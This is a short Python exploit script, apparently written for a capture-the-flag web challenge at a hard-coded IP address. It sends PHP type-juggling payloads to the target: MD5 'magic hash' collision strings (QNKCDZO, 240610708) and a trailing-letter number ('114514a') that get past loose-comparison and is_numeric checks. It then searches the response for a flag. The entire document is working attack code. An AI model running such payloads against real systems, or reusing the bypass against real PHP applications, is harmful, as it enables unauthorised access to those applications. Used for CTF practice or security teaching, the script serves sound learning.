import requests

# Configuration
TARGET_URL = "http://115.159.155.176:8083/"

def exploit():
    print(f"[*] Targeting {TARGET_URL}...")

    # Based on WP.md and previous knowledge:
    # 1. MD5 Magic Hash: v1 != v2 but md5(v1) == md5(v2) (Weak Comparison)
    # v1 = QNKCDZO, v2 = 240610708

    # 2. is_numeric Bypass: num == 114514 but !is_numeric(num)
    # num = 114514a

    params = {
        'v1': 'QNKCDZO',
        'v2': '240610708',
        'num': '114514a'
    }

    try:
        r = requests.get(TARGET_URL, params=params)
        print(f"[*] Status: {r.status_code}")
        print("[*] Response:")
        print(r.text)

        if "FLAG{" in r.text or "flag{" in r.text:
            print("\n[SUCCESS] Flag found!")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()